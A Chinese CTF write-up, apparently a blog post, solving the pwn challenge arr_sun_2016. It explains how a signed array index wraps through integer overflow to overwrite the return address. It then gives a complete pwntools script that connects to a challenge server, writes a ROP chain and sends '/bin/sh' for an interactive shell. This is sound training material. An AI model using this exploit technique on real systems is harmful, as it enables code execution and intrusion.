arr_sun_2016(从下标上溢跑到下标下溢)

161 篇文章 9 订阅
161 篇文章 9 订阅

arr_sun_2016(从下标上溢跑到下标下溢)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,v2为有符号数,因此,这里存在下标越界的漏洞,但是是向上越界。

看似只能向上越界,实际,我们可以利用整数溢出,来达到劫持栈里的返回地址处。

列出等式

 int(ebp+eax*4-0x30) = int(ebp + 0x4)

求解得到int(4*eax)  = 0x34

满足条件的eax有多个,我们取eax=0x8000000D

这样,就可以劫持到返回地址处,做rop了。

#coding:utf8
from pwn import *

#sh = process('./arr_sun_2016')
sh = remote('node3.buuoj.cn',28197)
scanf = 0x08048460
format_str = 0x0804882F
bss = 0x08049B30
backdoor = 0x0804857B
pop_2 = 0x080487ba
sh.sendlineafter('What should I call you?','haivk')
def getIndex(offset):
   return str(0x8000000d-0x100000000 + offset)

def writeROP(rop):
   i = 0
   for item in rop:
      sh.sendlineafter('enter index',getIndex(i))
      sh.sendlineafter('enter value',str(item))
      i = i + 1

rop = [scanf,pop_2,format_str,bss,backdoor,0,bss,0,0,0]
writeROP(rop)

sh.sendline('/bin/sh\x00')

sh.interactive()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值